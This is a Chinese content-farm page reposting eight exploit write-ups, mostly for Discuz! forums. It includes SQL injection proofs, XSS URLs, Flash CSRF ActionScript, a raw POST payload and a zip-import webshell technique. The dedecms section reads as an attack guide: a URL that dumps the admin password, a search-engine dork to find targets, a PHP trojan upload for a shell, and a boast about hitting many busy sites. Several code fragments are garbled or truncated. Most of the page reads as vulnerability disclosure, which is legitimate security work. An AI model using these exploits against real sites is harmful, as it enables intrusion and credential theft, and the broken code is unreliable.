欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

Discuz! moderation.inc.php 数据库注射 bug脚本安全

时间:2022-05-24 06:19:00 其他范文 收藏本文 下载本文

【导语】下面是小编为大家准备的Discuz! moderation.inc.php 数据库注射 bug脚本安全(共8篇),欢迎阅读借鉴。

Discuz! moderation.inc.php 数据库注射 bug脚本安全

篇1:Discuz! moderation.inc.php 数据库注射 bug脚本安全

由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug

author: 80vul-B

team:www.80vul.com

一 分析

在文件include/moderation.inc.php里代码:

$threadlist = $loglist = array;

if($tids = implodeids($moderate)) {

$query = $db->query(“SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp”);

while($thread = $db->fetch_array($query)) {

...

$threadlist[$thread['tid']] = $thread;

...

foreach($threadlist as $tid => $thread) {

...

if($type == 'redirect') {

$db->query(“INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)

VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '”.addslashes($thread['author']).“', '$thread[authorid]', '”.addslashes($thread['subject']).“', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')”);

这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)

这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.

二 利用

注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)

三 补丁[fix]

等待官方补丁.

篇2:Discuz! trade.php 数据库注射 bug

由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB--06而导致xss攻击及数据库信息泄露的漏洞.

author: 80vul-B

team:www.80vul.com

一 分析

文件trade.php:

$message = trim($message);

if($message) {

$message = daddslashes($tradelog['message'], 1).“ttt”.$discuz_uid.“t”.$discuz_user.“t”.$timestamp.“t”.nl2br(strip_tags(substr($message, 0, 200)));

//$message用substr处理了下,取前200个字符

} else {

$message = daddslashes($tradelog['message'], 1);

}

$db->query(“UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE rderid='$orderid'”);

//这个地方$message直接进入sql语句了:)

showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);

}把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和',在经过substr的处理变为199个A和,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过进行xss攻击?

二 利用

poc:

POST discuz/trade.php/?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1

Accept: */*

Accept-Language: zh-cn

Referer: 127.0.0.1/discuz/

User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)

Host: 127.0.0.1

Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow

Content-Length: 426

Content-Type: application/x-www-form-urlencoded

Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312三 补丁[fix]

等待官方补丁

篇3:Discuz! 数据库错误信息xss bug脚本安全

由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.

author: 80vul-B

team:www.80vul.com

一 分析

在文件includedb_mysql_error.inc.php里代码:

if($message) {

$errmsg = “Discuz! info: $messagenn”;

}

if(isset($GLOBALS['_DSESSION']['discuz_user'])) {

$errmsg .= “User: ”.htmlspecialchars($GLOBALS['_DSESSION']['discuz_user']).“n”;

}

$errmsg .= “Time: ”.gmdate(“Y-n-j g:ia”, $timestamp + ($GLOBALS['timeoffset'] * 3600)).“n”;

$errmsg .= “Script: ”.$GLOBALS['PHP_SELF'].“nn”;

if($sql) {

$errmsg .= “SQL: ”.htmlspecialchars($sql).“n”;

}

$errmsg .= “Error:  $dberrorn”;

$errmsg .= “Errno.:  $dberrno”;

$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.

二 利用

需要结合其他的让出现错误信息的漏洞.

三 补丁[fix]

过滤$GLOBALS['PHP_SELF']

篇4:Discuz! flash Csrf bug脚本安全

由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.

author: 80vul-A

team:www.80vul.com

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.

一 分析

首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:

允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:

import RegExp;

var xml:XML = new XML;

xml.onData = function(s) {

tb1.text =  getFirstMatch(new RegExp(“

}

System.security.loadPolicyFile(“192.168.1.102/crossdomain.xml”);

xml.load(“192.168.1.102/d.txt”);

熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:

.addRequestHeader(“Referer: foo/index.php?foo”,“www.80vul.com”);

来伪造Referer,但是我们可以通过类似于SODB--01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.

二 利用

POC[测试Discuz!5.5 其他版本的请自己编写]如下:

flash的原文件:www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla

as代码如下:

import RegExp;

System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);

var xml:XML = new XML();

xml.onData = function(s) {

tb1.text =  getFirstMatch(new RegExp(“

}

System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);

xml.load(“www.80vul.com/bbs/admincp.php?action=members”);

function getFirstMatch(re, s, i) {

var m = null;

if ((m = re.exec(s)) != null) {

return m[i];

}

}

远程调用的html:

三 补丁

等待官方补丁.

[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]

四 参考

[1]:superhei.blogbus.com/logs/13463505.html

篇5:dedecms注射漏洞脚本安全

注释:先注册..输入地址后,要等一会刷新就可以看到密码了

作者不知道是谁

问题出现在buy_action.php

没有对pid传递进行足够的重视

导致出现SQL注射问题!

注册地址

/member/index_do.php?fmdo=user&dopost=regnew

爆管理员密码

/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

用很大。 如果你找不到可以利用的 那就是自己RP问题

反正 我们是找到很多了,而且是流量比较大的站,很不错的站。

更正一下:

LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是:

暴管理员密码:

CODE:

/member/buy_action.php?product=member&pid=1%20and%201=11%20union

%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

首先在

GOOGLE搜Power by DedeCms

先注册一个号,注册成功后

直接输入下面的

include/dialoguser/select_soft.php或者

include/dialoguser/select_media.php

然后上传一个PHP马,

先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP

上传成功

直接访问

所在目录的路径/木马名字.php

一个SHELL就拿到了,

篇6:Discuz! admincp.php xss bug

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.

author: 80vul-B

team:www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

poc:

127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

[管理员或版主前台登录,但未登录后台时触发]

篇7:Discuz! admindatabase.inc.php getwebshell bug

author: ring04h

team:www.80vul.com

[该漏洞由ring04h发现并且投递,thx]

由于Discuz!的admindatabase.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admindatabase.inc.php里代码:

.....

elseif($operation == 'importzip') {

require_once DISCUZ_ROOT.'admin/zip.func.php';

$unzip = new SimpleUnzip;

$unzip->ReadFile($datafile_server);

if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0))) {

cpmsg('database_import_file_illegal', '', 'error');

}

$identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256))));

$confirm = !empty($confirm) ? 1 : 0;

if(!$confirm && $identify[1] != $version) {

cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');

}

$sqlfilecount = 0;

foreach($unzip->Entries as $entry) {

if(preg_match(“/.sql$/i”, $entry->Name)) {

$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');

fwrite($fp, $entry->Data);

fclose($fp);

$sqlfilecount++;

}

}

......

注意2点

1. preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.

2. $identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==

#

#

# Discuz! Multi-Volume Data Dump Vol.1

# Version: Discuz! 6.1.0

# Time: -11-27 11:38

# Type: discuz

# Table Prefix: cdb_

二 利用

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes

=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

三 补丁[fix]

篇8:Discuz! member.php xss bug

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.

author:80vul-B

team:www.80vul.com

一 分析

member.php代码:

if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}...$multipage = multi($num, $memberperpage, $page, “member.php?action=list&listgid=$listgid&srchmem=”.rawurlencode($srchmem).“&order=$order&type=0”, $membermaxpages);

二 利用

poc:

poc:

www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}

[1]:download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

Discuz! 路径信息泄露 bug

Discuz!NT 2.5(0826更新前)注入脚本安全

shell脚本加密脚本安全

计算机网络数据库的技术安全论文

一次简单的搜索型注入脚本安全

Oracle数据库网络与安全FAQ精粹数据库

跨站结合MS06014实现XSS worm脚本安全

Flash应用安全系列360反射型跨站脚本安全

IBM或斥资2.25亿美元收购数据库安全软件厂商

编写安全的SQL Server扩展存储过程数据库教程

《Discuz! moderation.inc.php 数据库注射 bug脚本安全(共8篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
点击下载本文文档